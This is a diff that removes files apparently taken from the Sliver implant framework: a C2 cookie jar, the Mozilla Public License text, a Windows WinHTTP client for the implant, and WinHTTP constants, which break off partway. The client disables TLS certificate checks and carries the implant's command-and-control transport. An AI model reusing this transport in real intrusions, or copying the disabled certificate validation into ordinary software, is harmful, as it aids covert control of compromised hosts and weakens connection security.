jar.cookies = make([]*http.Cookie, 0)
|
||||
return jar
|
||||
}
|
||||
|
||||
// SetCookies handles the receipt of the cookies in a reply for the
|
||||
// given URL (which is ignored).
|
||||
func (jar *Jar) SetCookies(u *url.URL, cookies []*http.Cookie) {
|
||||
jar.lk.Lock()
|
||||
jar.cookies = append(jar.cookies, cookies...)
|
||||
jar.lk.Unlock()
|
||||
}
|
||||
|
||||
// Cookies returns the cookies to send in a request for the given URL.
|
||||
// It is up to the implementation to honor the standard cookie use
|
||||
// restrictions such as in RFC 6265 (which we do not).
|
||||
func (jar *Jar) Cookies(u *url.URL) []*http.Cookie {
|
||||
return jar.cookies
|
||||
}
|
||||
|
||||
// {{end}} -HTTPc2Enabled
|
||||
@@ -1,373 +0,0 @@
|
||||
Mozilla Public License Version 2.0
|
||||
==================================
|
||||
|
||||
1. Definitions
|
||||
--------------
|
||||
|
||||
1.1. "Contributor"
|
||||
means each individual or legal entity that creates, contributes to
|
||||
the creation of, or owns Covered Software.
|
||||
|
||||
1.2. "Contributor Version"
|
||||
means the combination of the Contributions of others (if any) used
|
||||
by a Contributor and that particular Contributor's Contribution.
|
||||
|
||||
1.3. "Contribution"
|
||||
means Covered Software of a particular Contributor.
|
||||
|
||||
1.4. "Covered Software"
|
||||
means Source Code Form to which the initial Contributor has attached
|
||||
the notice in Exhibit A, the Executable Form of such Source Code
|
||||
Form, and Modifications of such Source Code Form, in each case
|
||||
including portions thereof.
|
||||
|
||||
1.5. "Incompatible With Secondary Licenses"
|
||||
means
|
||||
|
||||
(a) that the initial Contributor has attached the notice described
|
||||
in Exhibit B to the Covered Software; or
|
||||
|
||||
(b) that the Covered Software was made available under the terms of
|
||||
version 1.1 or earlier of the License, but not also under the
|
||||
terms of a Secondary License.
|
||||
|
||||
1.6. "Executable Form"
|
||||
means any form of the work other than Source Code Form.
|
||||
|
||||
1.7. "Larger Work"
|
||||
means a work that combines Covered Software with other material, in
|
||||
a separate file or files, that is not Covered Software.
|
||||
|
||||
1.8. "License"
|
||||
means this document.
|
||||
|
||||
1.9. "Licensable"
|
||||
means having the right to grant, to the maximum extent possible,
|
||||
whether at the time of the initial grant or subsequently, any and
|
||||
all of the rights conveyed by this License.
|
||||
|
||||
1.10. "Modifications"
|
||||
means any of the following:
|
||||
|
||||
(a) any file in Source Code Form that results from an addition to,
|
||||
deletion from, or modification of the contents of Covered
|
||||
Software; or
|
||||
|
||||
(b) any new file in Source Code Form that contains any Covered
|
||||
Software.
|
||||
|
||||
1.11. "Patent Claims" of a Contributor
|
||||
means any patent claim(s), including without limitation, method,
|
||||
process, and apparatus claims, in any patent Licensable by such
|
||||
Contributor that would be infringed, but for the grant of the
|
||||
License, by the making, using, selling, offering for sale, having
|
||||
made, import, or transfer of either its Contributions or its
|
||||
Contributor Version.
|
||||
|
||||
1.12. "Secondary License"
|
||||
means either the GNU General Public License, Version 2.0, the GNU
|
||||
Lesser General Public License, Version 2.1, the GNU Affero General
|
||||
Public License, Version 3.0, or any later versions of those
|
||||
licenses.
|
||||
|
||||
1.13. "Source Code Form"
|
||||
means the form of the work preferred for making modifications.
|
||||
|
||||
1.14. "You" (or "Your")
|
||||
means an individual or a legal entity exercising rights under this
|
||||
License. For legal entities, "You" includes any entity that
|
||||
controls, is controlled by, or is under common control with You. For
|
||||
purposes of this definition, "control" means (a) the power, direct
|
||||
or indirect, to cause the direction or management of such entity,
|
||||
whether by contract or otherwise, or (b) ownership of more than
|
||||
fifty percent (50%) of the outstanding shares or beneficial
|
||||
ownership of such entity.
|
||||
|
||||
2. License Grants and Conditions
|
||||
--------------------------------
|
||||
|
||||
2.1. Grants
|
||||
|
||||
Each Contributor hereby grants You a world-wide, royalty-free,
|
||||
non-exclusive license:
|
||||
|
||||
(a) under intellectual property rights (other than patent or trademark)
|
||||
Licensable by such Contributor to use, reproduce, make available,
|
||||
modify, display, perform, distribute, and otherwise exploit its
|
||||
Contributions, either on an unmodified basis, with Modifications, or
|
||||
as part of a Larger Work; and
|
||||
|
||||
(b) under Patent Claims of such Contributor to make, use, sell, offer
|
||||
for sale, have made, import, and otherwise transfer either its
|
||||
Contributions or its Contributor Version.
|
||||
|
||||
2.2. Effective Date
|
||||
|
||||
The licenses granted in Section 2.1 with respect to any Contribution
|
||||
become effective for each Contribution on the date the Contributor first
|
||||
distributes such Contribution.
|
||||
|
||||
2.3. Limitations on Grant Scope
|
||||
|
||||
The licenses granted in this Section 2 are the only rights granted under
|
||||
this License. No additional rights or licenses will be implied from the
|
||||
distribution or licensing of Covered Software under this License.
|
||||
Notwithstanding Section 2.1(b) above, no patent license is granted by a
|
||||
Contributor:
|
||||
|
||||
(a) for any code that a Contributor has removed from Covered Software;
|
||||
or
|
||||
|
||||
(b) for infringements caused by: (i) Your and any other third party's
|
||||
modifications of Covered Software, or (ii) the combination of its
|
||||
Contributions with other software (except as part of its Contributor
|
||||
Version); or
|
||||
|
||||
(c) under Patent Claims infringed by Covered Software in the absence of
|
||||
its Contributions.
|
||||
|
||||
This License does not grant any rights in the trademarks, service marks,
|
||||
or logos of any Contributor (except as may be necessary to comply with
|
||||
the notice requirements in Section 3.4).
|
||||
|
||||
2.4. Subsequent Licenses
|
||||
|
||||
No Contributor makes additional grants as a result of Your choice to
|
||||
distribute the Covered Software under a subsequent version of this
|
||||
License (see Section 10.2) or under the terms of a Secondary License (if
|
||||
permitted under the terms of Section 3.3).
|
||||
|
||||
2.5. Representation
|
||||
|
||||
Each Contributor represents that the Contributor believes its
|
||||
Contributions are its original creation(s) or it has sufficient rights
|
||||
to grant the rights to its Contributions conveyed by this License.
|
||||
|
||||
2.6. Fair Use
|
||||
|
||||
This License is not intended to limit any rights You have under
|
||||
applicable copyright doctrines of fair use, fair dealing, or other
|
||||
equivalents.
|
||||
|
||||
2.7. Conditions
|
||||
|
||||
Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
|
||||
in Section 2.1.
|
||||
|
||||
3. Responsibilities
|
||||
-------------------
|
||||
|
||||
3.1. Distribution of Source Form
|
||||
|
||||
All distribution of Covered Software in Source Code Form, including any
|
||||
Modifications that You create or to which You contribute, must be under
|
||||
the terms of this License. You must inform recipients that the Source
|
||||
Code Form of the Covered Software is governed by the terms of this
|
||||
License, and how they can obtain a copy of this License. You may not
|
||||
attempt to alter or restrict the recipients' rights in the Source Code
|
||||
Form.
|
||||
|
||||
3.2. Distribution of Executable Form
|
||||
|
||||
If You distribute Covered Software in Executable Form then:
|
||||
|
||||
(a) such Covered Software must also be made available in Source Code
|
||||
Form, as described in Section 3.1, and You must inform recipients of
|
||||
the Executable Form how they can obtain a copy of such Source Code
|
||||
Form by reasonable means in a timely manner, at a charge no more
|
||||
than the cost of distribution to the recipient; and
|
||||
|
||||
(b) You may distribute such Executable Form under the terms of this
|
||||
License, or sublicense it under different terms, provided that the
|
||||
license for the Executable Form does not attempt to limit or alter
|
||||
the recipients' rights in the Source Code Form under this License.
|
||||
|
||||
3.3. Distribution of a Larger Work
|
||||
|
||||
You may create and distribute a Larger Work under terms of Your choice,
|
||||
provided that You also comply with the requirements of this License for
|
||||
the Covered Software. If the Larger Work is a combination of Covered
|
||||
Software with a work governed by one or more Secondary Licenses, and the
|
||||
Covered Software is not Incompatible With Secondary Licenses, this
|
||||
License permits You to additionally distribute such Covered Software
|
||||
under the terms of such Secondary License(s), so that the recipient of
|
||||
the Larger Work may, at their option, further distribute the Covered
|
||||
Software under the terms of either this License or such Secondary
|
||||
License(s).
|
||||
|
||||
3.4. Notices
|
||||
|
||||
You may not remove or alter the substance of any license notices
|
||||
(including copyright notices, patent notices, disclaimers of warranty,
|
||||
or limitations of liability) contained within the Source Code Form of
|
||||
the Covered Software, except that You may alter any license notices to
|
||||
the extent required to remedy known factual inaccuracies.
|
||||
|
||||
3.5. Application of Additional Terms
|
||||
|
||||
You may choose to offer, and to charge a fee for, warranty, support,
|
||||
indemnity or liability obligations to one or more recipients of Covered
|
||||
Software. However, You may do so only on Your own behalf, and not on
|
||||
behalf of any Contributor. You must make it absolutely clear that any
|
||||
such warranty, support, indemnity, or liability obligation is offered by
|
||||
You alone, and You hereby agree to indemnify every Contributor for any
|
||||
liability incurred by such Contributor as a result of warranty, support,
|
||||
indemnity or liability terms You offer. You may include additional
|
||||
disclaimers of warranty and limitations of liability specific to any
|
||||
jurisdiction.
|
||||
|
||||
4. Inability to Comply Due to Statute or Regulation
|
||||
---------------------------------------------------
|
||||
|
||||
If it is impossible for You to comply with any of the terms of this
|
||||
License with respect to some or all of the Covered Software due to
|
||||
statute, judicial order, or regulation then You must: (a) comply with
|
||||
the terms of this License to the maximum extent possible; and (b)
|
||||
describe the limitations and the code they affect. Such description must
|
||||
be placed in a text file included with all distributions of the Covered
|
||||
Software under this License. Except to the extent prohibited by statute
|
||||
or regulation, such description must be sufficiently detailed for a
|
||||
recipient of ordinary skill to be able to understand it.
|
||||
|
||||
5. Termination
|
||||
--------------
|
||||
|
||||
5.1. The rights granted under this License will terminate automatically
|
||||
if You fail to comply with any of its terms. However, if You become
|
||||
compliant, then the rights granted under this License from a particular
|
||||
Contributor are reinstated (a) provisionally, unless and until such
|
||||
Contributor explicitly and finally terminates Your grants, and (b) on an
|
||||
ongoing basis, if such Contributor fails to notify You of the
|
||||
non-compliance by some reasonable means prior to 60 days after You have
|
||||
come back into compliance. Moreover, Your grants from a particular
|
||||
Contributor are reinstated on an ongoing basis if such Contributor
|
||||
notifies You of the non-compliance by some reasonable means, this is the
|
||||
first time You have received notice of non-compliance with this License
|
||||
from such Contributor, and You become compliant prior to 30 days after
|
||||
Your receipt of the notice.
|
||||
|
||||
5.2. If You initiate litigation against any entity by asserting a patent
|
||||
infringement claim (excluding declaratory judgment actions,
|
||||
counter-claims, and cross-claims) alleging that a Contributor Version
|
||||
directly or indirectly infringes any patent, then the rights granted to
|
||||
You by any and all Contributors for the Covered Software under Section
|
||||
2.1 of this License shall terminate.
|
||||
|
||||
5.3. In the event of termination under Sections 5.1 or 5.2 above, all
|
||||
end user license agreements (excluding distributors and resellers) which
|
||||
have been validly granted by You or Your distributors under this License
|
||||
prior to termination shall survive termination.
|
||||
|
||||
************************************************************************
|
||||
* *
|
||||
* 6. Disclaimer of Warranty *
|
||||
* ------------------------- *
|
||||
* *
|
||||
* Covered Software is provided under this License on an "as is" *
|
||||
* basis, without warranty of any kind, either expressed, implied, or *
|
||||
* statutory, including, without limitation, warranties that the *
|
||||
* Covered Software is free of defects, merchantable, fit for a *
|
||||
* particular purpose or non-infringing. The entire risk as to the *
|
||||
* quality and performance of the Covered Software is with You. *
|
||||
* Should any Covered Software prove defective in any respect, You *
|
||||
* (not any Contributor) assume the cost of any necessary servicing, *
|
||||
* repair, or correction. This disclaimer of warranty constitutes an *
|
||||
* essential part of this License. No use of any Covered Software is *
|
||||
* authorized under this License except under this disclaimer. *
|
||||
* *
|
||||
************************************************************************
|
||||
|
||||
************************************************************************
|
||||
* *
|
||||
* 7. Limitation of Liability *
|
||||
* -------------------------- *
|
||||
* *
|
||||
* Under no circumstances and under no legal theory, whether tort *
|
||||
* (including negligence), contract, or otherwise, shall any *
|
||||
* Contributor, or anyone who distributes Covered Software as *
|
||||
* permitted above, be liable to You for any direct, indirect, *
|
||||
* special, incidental, or consequential damages of any character *
|
||||
* including, without limitation, damages for lost profits, loss of *
|
||||
* goodwill, work stoppage, computer failure or malfunction, or any *
|
||||
* and all other commercial damages or losses, even if such party *
|
||||
* shall have been informed of the possibility of such damages. This *
|
||||
* limitation of liability shall not apply to liability for death or *
|
||||
* personal injury resulting from such party's negligence to the *
|
||||
* extent applicable law prohibits such limitation. Some *
|
||||
* jurisdictions do not allow the exclusion or limitation of *
|
||||
* incidental or consequential damages, so this exclusion and *
|
||||
* limitation may not apply to You. *
|
||||
* *
|
||||
************************************************************************
|
||||
|
||||
8. Litigation
|
||||
-------------
|
||||
|
||||
Any litigation relating to this License may be brought only in the
|
||||
courts of a jurisdiction where the defendant maintains its principal
|
||||
place of business and such litigation shall be governed by laws of that
|
||||
jurisdiction, without reference to its conflict-of-law provisions.
|
||||
Nothing in this Section shall prevent a party's ability to bring
|
||||
cross-claims or counter-claims.
|
||||
|
||||
9. Miscellaneous
|
||||
----------------
|
||||
|
||||
This License represents the complete agreement concerning the subject
|
||||
matter hereof. If any provision of this License is held to be
|
||||
unenforceable, such provision shall be reformed only to the extent
|
||||
necessary to make it enforceable. Any law or regulation which provides
|
||||
that the language of a contract shall be construed against the drafter
|
||||
shall not be used to construe this License against a Contributor.
|
||||
|
||||
10. Versions of the License
|
||||
---------------------------
|
||||
|
||||
10.1. New Versions
|
||||
|
||||
Mozilla Foundation is the license steward. Except as provided in Section
|
||||
10.3, no one other than the license steward has the right to modify or
|
||||
publish new versions of this License. Each version will be given a
|
||||
distinguishing version number.
|
||||
|
||||
10.2. Effect of New Versions
|
||||
|
||||
You may distribute the Covered Software under the terms of the version
|
||||
of the License under which You originally received the Covered Software,
|
||||
or under the terms of any subsequent version published by the license
|
||||
steward.
|
||||
|
||||
10.3. Modified Versions
|
||||
|
||||
If you create software not governed by this License, and you want to
|
||||
create a new license for such software, you may create and use a
|
||||
modified version of this License if you rename the license and remove
|
||||
any references to the name of the license steward (except to note that
|
||||
such modified license differs from this License).
|
||||
|
||||
10.4. Distributing Source Code Form that is Incompatible With Secondary
|
||||
Licenses
|
||||
|
||||
If You choose to distribute Source Code Form that is Incompatible With
|
||||
Secondary Licenses under the terms of this version of the License, the
|
||||
notice described in Exhibit B of this License must be attached.
|
||||
|
||||
Exhibit A - Source Code Form License Notice
|
||||
-------------------------------------------
|
||||
|
||||
This Source Code Form is subject to the terms of the Mozilla Public
|
||||
License, v. 2.0. If a copy of the MPL was not distributed with this
|
||||
file, You can obtain one at http://mozilla.org/MPL/2.0/.
|
||||
|
||||
If it is not possible or desirable to put the notice in a particular
|
||||
file, then You may include the notice in a location (such as a LICENSE
|
||||
file in a relevant directory) where a recipient would be likely to look
|
||||
for such a notice.
|
||||
|
||||
You may add additional accurate notices of copyright ownership.
|
||||
|
||||
Exhibit B - "Incompatible With Secondary Licenses" Notice
|
||||
---------------------------------------------------------
|
||||
|
||||
This Source Code Form is "Incompatible With Secondary Licenses", as
|
||||
defined by the Mozilla Public License, v. 2.0.
|
||||
@@ -1,222 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package winhttp
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
// NewWinHTTPClient - Init a new WinHTTPClient
|
||||
func NewWinHTTPClient(hostname string, port uint16) *WinHTTPClient {
|
||||
return &WinHTTPClient{
|
||||
hostname: hostname,
|
||||
port: port,
|
||||
}
|
||||
}
|
||||
|
||||
// WinHTTPClient - A WinHTTP driver
|
||||
type WinHTTPClient struct {
|
||||
port uint16
|
||||
hostname string
|
||||
|
||||
hSession HInternet
|
||||
|
||||
referrer string
|
||||
acceptTypes []string
|
||||
}
|
||||
|
||||
// Do - Execute an HTTP request
|
||||
func (w *WinHTTPClient) Do(req *http.Request) (*http.Response, error) {
|
||||
var err error
|
||||
if w.hSession == 0 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] starting new session ...")
|
||||
// {{end}}
|
||||
w.hSession, err = Open(
|
||||
req.Header.Get("User-Agent"),
|
||||
WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
|
||||
"",
|
||||
"",
|
||||
0,
|
||||
)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] open failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
hConnect, err := Connect(w.hSession, w.hostname, int(w.port))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] connect failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
openReqFlags := uint32(0)
|
||||
reqPath := fmt.Sprintf("%s?%s", req.URL.Path, req.URL.RawQuery)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] req -> %s", reqPath)
|
||||
// {{end}}
|
||||
hRequest, err := OpenRequest(hConnect, req.Method, reqPath, "", w.referrer, w.acceptTypes, openReqFlags)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] open request failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dwFlags := uint32(SECURITY_FLAG_IGNORE_UNKNOWN_CA)
|
||||
err = SetOption(hRequest, WINHTTP_OPTION_SECURITY_FLAGS, uintptr(unsafe.Pointer(&dwFlags)), unsafe.Sizeof(dwFlags))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] set option failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
sendReqContext := uint32(0)
|
||||
if req.Body != nil {
|
||||
var body []byte
|
||||
body, err = io.ReadAll(req.Body)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] io read body failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
err = SendRequest(hRequest, "", &body[0], len(body), len(body), &sendReqContext)
|
||||
} else {
|
||||
err = SendRequest(hRequest, "", nil, 0, 0, &sendReqContext)
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] send request failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
err = ReceiveResponse(hRequest)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] recv response failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
utf16StatusCode := make([]uint16, 16)
|
||||
statusCodeSize := uint32(unsafe.Sizeof(uint16(0)) * 16)
|
||||
err = QueryHeaders(
|
||||
hRequest,
|
||||
WINHTTP_QUERY_STATUS_CODE,
|
||||
"",
|
||||
&utf16StatusCode[0],
|
||||
&statusCodeSize,
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] query headers failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
statusCode, err := strconv.Atoi(syscall.UTF16ToString(utf16StatusCode[:]))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] failed to parse utf16 status code: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
utf16Status := make([]uint16, 16)
|
||||
statusSize := uint32(unsafe.Sizeof(uint16(0)) * 16)
|
||||
err = QueryHeaders(
|
||||
hRequest,
|
||||
WINHTTP_QUERY_STATUS_TEXT,
|
||||
"",
|
||||
&utf16Status[0],
|
||||
&statusSize,
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] query headers failed: %s", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
status := syscall.UTF16ToString(utf16Status[:])
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] status code: %d", statusCode)
|
||||
// {{end}}
|
||||
|
||||
var dataSize uint
|
||||
dataSize, err = QueryDataAvailable(hRequest)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] data size: %v", dataSize)
|
||||
// {{end}}
|
||||
dataBuf := make([]byte, dataSize)
|
||||
var bytesRead int
|
||||
bytesRead, err = ReadData(
|
||||
hRequest,
|
||||
dataBuf,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[winhttp] bytesRead: %v", bytesRead)
|
||||
log.Printf("[winhttp] data: %v\n", string(dataBuf))
|
||||
// {{else}}
|
||||
bytesRead++
|
||||
bytesRead--
|
||||
// {{end}}
|
||||
|
||||
resp := &http.Response{
|
||||
Status: status,
|
||||
StatusCode: statusCode,
|
||||
Proto: "HTTP/1.1",
|
||||
ProtoMajor: 1,
|
||||
ProtoMinor: 1,
|
||||
Body: ioutil.NopCloser(bytes.NewReader(dataBuf)),
|
||||
ContentLength: int64(dataSize),
|
||||
Request: req,
|
||||
Header: make(http.Header),
|
||||
}
|
||||
|
||||
return resp, nil
|
||||
}
|
||||
@@ -1,301 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package winhttp
|
||||
|
||||
// Implements flags necessary for working with WinHTTP.
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const (
|
||||
/* WinHTTP error codes */
|
||||
WINHTTP_ERROR_BASE = 12000
|
||||
ERROR_WINHTTP_OUT_OF_HANDLES = syscall.Errno(WINHTTP_ERROR_BASE + 1)
|
||||
ERROR_WINHTTP_TIMEOUT = syscall.Errno(WINHTTP_ERROR_BASE + 2)
|
||||
ERROR_WINHTTP_INTERNAL_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 4)
|
||||
ERROR_WINHTTP_INVALID_URL = syscall.Errno(WINHTTP_ERROR_BASE + 5)
|
||||
ERROR_WINHTTP_UNRECOGNIZED_SCHEME = syscall.Errno(WINHTTP_ERROR_BASE + 6)
|
||||
ERROR_WINHTTP_NAME_NOT_RESOLVED = syscall.Errno(WINHTTP_ERROR_BASE + 7)
|
||||
ERROR_WINHTTP_INVALID_OPTION = syscall.Errno(WINHTTP_ERROR_BASE + 9)
|
||||
ERROR_WINHTTP_OPTION_NOT_SETTABLE = syscall.Errno(WINHTTP_ERROR_BASE + 11)
|
||||
ERROR_WINHTTP_SHUTDOWN = syscall.Errno(WINHTTP_ERROR_BASE + 12)
|
||||
ERROR_WINHTTP_LOGIN_FAILURE = syscall.Errno(WINHTTP_ERROR_BASE + 15)
|
||||
ERROR_WINHTTP_OPERATION_CANCELLED = syscall.Errno(WINHTTP_ERROR_BASE + 17)
|
||||
ERROR_WINHTTP_INCORRECT_HANDLE_TYPE = syscall.Errno(WINHTTP_ERROR_BASE + 18)
|
||||
ERROR_WINHTTP_INCORRECT_HANDLE_STATE = syscall.Errno(WINHTTP_ERROR_BASE + 19)
|
||||
ERROR_WINHTTP_CANNOT_CONNECT = syscall.Errno(WINHTTP_ERROR_BASE + 29)
|
||||
ERROR_WINHTTP_CONNECTION_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 30)
|
||||
ERROR_WINHTTP_RESEND_REQUEST = syscall.Errno(WINHTTP_ERROR_BASE + 32)
|
||||
ERROR_WINHTTP_SECURE_CERT_DATE_INVALID = syscall.Errno(WINHTTP_ERROR_BASE + 37)
|
||||
ERROR_WINHTTP_SECURE_CERT_CN_INVALID = syscall.Errno(WINHTTP_ERROR_BASE + 38)
|
||||
ERROR_WINHTTP_CLIENT_AUTH_CERT_NEEDED = syscall.Errno(WINHTTP_ERROR_BASE + 44)
|
||||
ERROR_WINHTTP_SECURE_INVALID_CA = syscall.Errno(WINHTTP_ERROR_BASE + 45)
|
||||
ERROR_WINHTTP_SECURE_CERT_REV_FAILED = syscall.Errno(WINHTTP_ERROR_BASE + 57)
|
||||
ERROR_WINHTTP_CANNOT_CALL_BEFORE_OPEN = syscall.Errno(WINHTTP_ERROR_BASE + 100)
|
||||
ERROR_WINHTTP_CANNOT_CALL_BEFORE_SEND = syscall.Errno(WINHTTP_ERROR_BASE + 101)
|
||||
ERROR_WINHTTP_CANNOT_CALL_AFTER_SEND = syscall.Errno(WINHTTP_ERROR_BASE + 102)
|
||||
ERROR_WINHTTP_CANNOT_CALL_AFTER_OPEN = syscall.Errno(WINHTTP_ERROR_BASE + 103)
|
||||
ERROR_WINHTTP_HEADER_NOT_FOUND = syscall.Errno(WINHTTP_ERROR_BASE + 150)
|
||||
ERROR_WINHTTP_INVALID_SERVER_RESPONSE = syscall.Errno(WINHTTP_ERROR_BASE + 152)
|
||||
ERROR_WINHTTP_INVALID_HEADER = syscall.Errno(WINHTTP_ERROR_BASE + 153)
|
||||
ERROR_WINHTTP_INVALID_QUERY_REQUEST = syscall.Errno(WINHTTP_ERROR_BASE + 154)
|
||||
ERROR_WINHTTP_HEADER_ALREADY_EXISTS = syscall.Errno(WINHTTP_ERROR_BASE + 155)
|
||||
ERROR_WINHTTP_REDIRECT_FAILED = syscall.Errno(WINHTTP_ERROR_BASE + 156)
|
||||
ERROR_WINHTTP_SECURE_CHANNEL_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 157)
|
||||
ERROR_WINHTTP_BAD_AUTO_PROXY_SCRIPT = syscall.Errno(WINHTTP_ERROR_BASE + 166)
|
||||
ERROR_WINHTTP_UNABLE_TO_DOWNLOAD_SCRIPT = syscall.Errno(WINHTTP_ERROR_BASE + 167)
|
||||
ERROR_WINHTTP_SECURE_INVALID_CERT = syscall.Errno(WINHTTP_ERROR_BASE + 169)
|
||||
ERROR_WINHTTP_SECURE_CERT_REVOKED = syscall.Errno(WINHTTP_ERROR_BASE + 170)
|
||||
ERROR_WINHTTP_NOT_INITIALIZED = syscall.Errno(WINHTTP_ERROR_BASE + 172)
|
||||
ERROR_WINHTTP_SECURE_FAILURE = syscall.Errno(WINHTTP_ERROR_BASE + 175)
|
||||
ERROR_WINHTTP_AUTO_PROXY_SERVICE_ERROR = syscall.Errno(WINHTTP_ERROR_BASE + 178)
|
||||
ERROR_WINHTTP_SECURE_CERT_WRONG_USAGE = syscall.Errno(WINHTTP_ERROR_BASE + 179)
|
||||
ERROR_WINHTTP_AUTODETECTION_FAILED = syscall.Errno(WINHTTP_ERROR_BASE + 180)
|
||||
ERROR_WINHTTP_HEADER_COUNT_EXCEEDED = syscall.Errno(WINHTTP_ERROR_BASE + 181)
|
||||
ERROR_WINHTTP_HEADER_SIZE_OVERFLOW = syscall.Errno(WINHTTP_ERROR_BASE + 182)
|
||||
ERROR_WINHTTP_CHUNKED_ENCODING_HEADER_SIZE_OVERFLOW = syscall.Errno(WINHTTP_ERROR_BASE + 183)
|
||||
ERROR_WINHTTP_RESPONSE_DRAIN_OVERFLOW = syscall.Errno(WINHTTP_ERROR_BASE + 184)
|
||||
ERROR_WINHTTP_CLIENT_CERT_NO_PRIVATE_KEY = syscall.Errno(WINHTTP_ERROR_BASE + 185)
|
||||
ERROR_WINHTTP_CLIENT_CERT_NO_ACCESS_PRIVATE_KEY = syscall.Errno(WINHTTP_ERROR_BASE + 186)
|
||||
WINHTTP_ERROR_LAST = (WINHTTP_ERROR_BASE + 186)
|
||||
)
|
||||
|
||||
const (
|
||||
SECURITY_FLAG_IGNORE_UNKNOWN_CA = 0x00000100
|
||||
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID = 0x00002000
|
||||
SECURITY_FLAG_IGNORE_CERT_CN_INVALID = 0x00001000
|
||||
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE = 0x00000200
|
||||
SECURITY_FLAG_SECURE = 0x00000001
|
||||
SECURITY_FLAG_STRENGTH_WEAK = 0x10000000
|
||||
SECURITY_FLAG_STRENGTH_MEDIUM = 0x40000000
|
||||
SECURITY_FLAG_STRENGTH_STRONG = 0x20000000
|
||||
)
|
||||
|
||||
const (
|
||||
INTERNET_DEFAULT_PORT = 0
|
||||
INTERNET_DEFAULT_HTTP_PORT = 80
|
||||
INTERNET_DEFAULT_HTTPS_PORT = 443
|
||||
|
||||
WINHTTP_FLAG_ASYNC = 0x10000000
|
||||
|
||||
WINHTTP_FLAG_SECURE = 0x00800000
|
||||
WINHTTP_FLAG_ESCAPE_PERCENT = 0x00000004
|
||||
WINHTTP_FLAG_NULL_CODEPAGE = 0x00000008
|
||||
WINHTTP_FLAG_BYPASS_PROXY_CACHE = 0x00000100
|
||||
WINHTTP_FLAG_REFRESH = 0x00000100
|
||||
WINHTTP_FLAG_ESCAPE_DISABLE = 0x00000040
|
||||
WINHTTP_FLAG_ESCAPE_DISABLE_QUERY = 0x00000080
|
||||
|
||||
WINHTTP_AUTOPROXY_AUTO_DETECT = 0x00000001
|
||||
WINHTTP_AUTOPROXY_CONFIG_URL = 0x00000002
|
||||
WINHTTP_AUTOPROXY_HOST_KEEPCASE = 0x00000004
|
||||
WINHTTP_AUTOPROXY_HOST_LOWERCASE = 0x00000008
|
||||
WINHTTP_AUTOPROXY_RUN_INPROCESS = 0x00010000
|
||||
WINHTTP_AUTOPROXY_RUN_OUTPROCESS_ONLY = 0x00020000
|
||||
WINHTTP_AUTOPROXY_NO_DIRECTACCESS = 0x00040000
|
||||
WINHTTP_AUTOPROXY_NO_CACHE_CLIENT = 0x00080000
|
||||
WINHTTP_AUTOPROXY_NO_CACHE_SVC = 0x00100000
|
||||
|
||||
